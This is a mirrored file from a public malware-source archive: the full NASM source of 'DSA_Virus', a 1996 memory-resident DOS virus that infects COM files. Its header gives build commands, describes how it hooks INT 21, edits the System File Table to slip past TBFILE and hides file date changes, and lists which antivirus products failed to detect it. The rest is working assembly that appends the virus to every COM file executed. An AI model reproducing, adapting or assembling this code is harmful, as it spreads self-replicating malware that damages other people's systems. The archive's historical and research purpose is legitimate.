mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
225 lines
9.0 KiB
NASM
225 lines
9.0 KiB
NASM
;=====( DSA_Virus by Rajaat )==================================================
|
|
;
|
|
; Memory resident appending COM infector, residing in the stack space reserved
|
|
; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation,
|
|
; obtained through the DSA. File date/time won't be altered and the virus can
|
|
; circumvent attributes. The virus is, compiled with TASM, a mere 263 bytes
|
|
; long.
|
|
;
|
|
;==============================================================================
|
|
;
|
|
; Virus name : DSA_Virus
|
|
; Author : Rajaat
|
|
; Origin : United Kingdom, July 1996
|
|
; Compiling : Using TASM
|
|
;
|
|
; TASM /M DSAVIRUS
|
|
; TLINK /T DSAVIRUS
|
|
; Targets : COM files
|
|
; Size : 263 bytes
|
|
; Resident : Yes, no decrease in memory reported
|
|
; Polymorphic : No
|
|
; Encrypted : No
|
|
; Stealth : Memory only, by utilizing dos stack space
|
|
; Tunneling : Uses SFT to avoid some monitors
|
|
; Retrovirus : Yes, uses TbSpoof
|
|
; Antiheuristics: Yes
|
|
; Peculiarities : Makes extensive use of the Dos Swappable Area (DSA)
|
|
; Drawbacks : Might crash, I'm not sure :)
|
|
; Behaviour : The first time the DSA virus is executed, it will check if
|
|
; it's already resident in memory by looking at the first byte
|
|
; in the DOS stack, located in the DSA. If this resembles a
|
|
; mov bp,xxxx instruction, it's already resident and the DSA
|
|
; virus will return control to the host program. If not, the
|
|
; virus will install itself in the DOS stack area, reserved for
|
|
; DOS INT 21 functions below 0ch. It will hook INT 21. If a
|
|
; program is executed while the DSA virus is resident, it will
|
|
; open it in read-only mode. Then it will use the DSA to locate
|
|
; the current SFT. In the SFT it modifies the read-only mode to
|
|
; read/write, effectively passing the file checks of TBFILE. It
|
|
; will also clear the file attributes during the infection
|
|
; process by using the SFT. The DSA virus will read the first
|
|
; 5 bytes of the file and checks wether the file is already
|
|
; infected or if it is an EXE file. If both checks are passed
|
|
; successfully, it will write itself at the end of the file
|
|
; and patches the start of the COM file to point at its code.
|
|
; The infected file increases by 263 bytes. Before closing the
|
|
; file, the DSA virus sets the file date/time update flag, so
|
|
; the date won't change after infection. After infection it
|
|
; will set the file attribute again and return control to it's
|
|
; caller.
|
|
;
|
|
; It's unknown what this virus might do besides replicate :)
|
|
;==============================================================================
|
|
;
|
|
; Results with antivirus software
|
|
;
|
|
; TBFILE - Doesn't detect it
|
|
; TBSCAN - Doesn't detect it
|
|
; TBMEM - Detects it
|
|
; TBCLEAN - Cleans it, so what?
|
|
; SVS - Detects it
|
|
; SSC - Doesn't detect it
|
|
; F-PROT - Doesn't detect it
|
|
; F-PROT /ANALYSE - Doesn't detect it
|
|
; F-PROT /ANALYSE /PARANOID - Doesn't detect it
|
|
; AVP - Detects it
|
|
; VSAFE - Corrupts infected files on my system!
|
|
; NEMESIS - I don't try this one anymore
|
|
;
|
|
;==============================================================================
|
|
|
|
.model tiny
|
|
.code
|
|
.radix 16
|
|
.286 ; why bother with XT?
|
|
|
|
org 100
|
|
|
|
DSA_Virus: mov bp,0 ; delta offset
|
|
Relative_Offset equ $-2
|
|
mov ax,5d06 ; get DSA pointer
|
|
int 21 ;
|
|
|
|
cmp byte ptr [si+600],0bdh ; mov bp in stack memory?
|
|
jne Install_TSR ; no, install virus
|
|
|
|
;=====( Return to host )=======================================================
|
|
|
|
Return_to_host: push cs cs ; move 5 bytes to offset 100h
|
|
pop ds es ; and execute host
|
|
lea si,COM_Host[bp]
|
|
pop ax
|
|
mov di,0ff
|
|
stosb
|
|
push di
|
|
movsw
|
|
movsw
|
|
movsb
|
|
ret
|
|
|
|
;=====( Install virus in memory )==============================================
|
|
|
|
Install_TSR: xchg ax,si
|
|
test al,0f ; DSA at paragraph boundary?
|
|
jnz Return_to_host ; no, abort
|
|
|
|
add ah,5 ; DSA+600 = DOS stack for
|
|
shr ax,4 ; ah < 0ch, virus re-aligns
|
|
mov bx,ds ; segment, so offset is
|
|
add ax,bx ; 100, like in COM files
|
|
push cs
|
|
pop ds
|
|
mov es,ax
|
|
lea si,DSA_Virus[bp]
|
|
mov di,100
|
|
mov cx,Virus_Length
|
|
Move_Virus: lodsb
|
|
stosb
|
|
loop Move_Virus ; move virus to stack space
|
|
push es
|
|
pop ds
|
|
|
|
mov ax,4521 ; get int 21
|
|
sub ah,10
|
|
int 21
|
|
mov word ptr INT_21,bx
|
|
mov word ptr INT_21+2,es
|
|
|
|
mov ah,25 ; set int 21
|
|
lea dx,New_21
|
|
int 21
|
|
|
|
jmp Return_to_host ; restore host
|
|
|
|
;=====( Data to place at the start of a COM file )=============================
|
|
|
|
Signature db '[DSA by Rajaat / Genesis]'
|
|
|
|
Virus_Jump: db 'PK' ; TbSpoof
|
|
db 0e9 ; jump to virus
|
|
|
|
;=====( First 5 bytes of host data )===========================================
|
|
|
|
COM_Host db 0cdh,020h,0,0,0
|
|
|
|
;=====( Resident INT 21 handler )==============================================
|
|
|
|
New_21: not ax
|
|
cmp ax,not 4b00 ; execute file?
|
|
not ax
|
|
jne Int_21_Done ; no, abort
|
|
|
|
Check_Infect: push ax bx dx ds es
|
|
mov ah,3dh ; open read-only
|
|
int 21
|
|
xchg ax,bx
|
|
|
|
mov ax,5d06 ; get DSA
|
|
int 21
|
|
|
|
lds si,dword ptr ds:[si+27e] ; get current SFT
|
|
|
|
push si ds
|
|
mov word ptr [si+2],2 ; open mode is now read/write
|
|
mov al,byte ptr [si+4] ; get file attribute
|
|
mov byte ptr [si+4],0 ; clear file attribute
|
|
push ax ; push file attribute on stack
|
|
push cs
|
|
pop ds
|
|
|
|
mov ah,3f ; read first 5 bytes of host
|
|
mov cx,5
|
|
lea dx,COM_Host
|
|
int 21
|
|
|
|
mov ax,word ptr [Com_Host]
|
|
sub ax,'KP' ; PK signature?
|
|
jz is_infected ; yes, abort
|
|
sub ax,'ZM'-'KP' ; MZ signature (EXE file)
|
|
jz is_infected ; yes, abort
|
|
|
|
mov ax,4202 ; goto end of file
|
|
xor cx,cx
|
|
cwd
|
|
int 21
|
|
|
|
mov word ptr Relative_Offset,ax ; store relative offset
|
|
push ax
|
|
|
|
mov ah,1 ; write virus at end of file
|
|
shl ah,6
|
|
mov cx,Virus_Length
|
|
lea dx,DSA_Virus
|
|
int 21
|
|
|
|
mov ax,4200 ; goto start of file
|
|
xor cx,cx
|
|
cwd
|
|
int 21
|
|
|
|
pop ax ; calculate jump address
|
|
mov cx,5
|
|
sub ax,cx
|
|
mov word ptr Com_Host,ax
|
|
|
|
mov ah,40 ; write jump at start of file
|
|
lea dx,Virus_Jump
|
|
int 21
|
|
|
|
Is_Infected: pop ax ds si
|
|
mov byte ptr [si+4],al ; restore file attributes
|
|
or byte ptr [si+6],40 ; don't change file date/time
|
|
mov ah,3e ; close file
|
|
int 21
|
|
pop es ds dx bx ax
|
|
Int_21_Done: db 0ea ; chain to old int 21
|
|
|
|
Virus_Length equ $-DSA_Virus
|
|
|
|
;=====( Data used by the virus, but not written to files )=====================
|
|
|
|
INT_21 dd 0
|
|
|
|
end DSA_Virus
|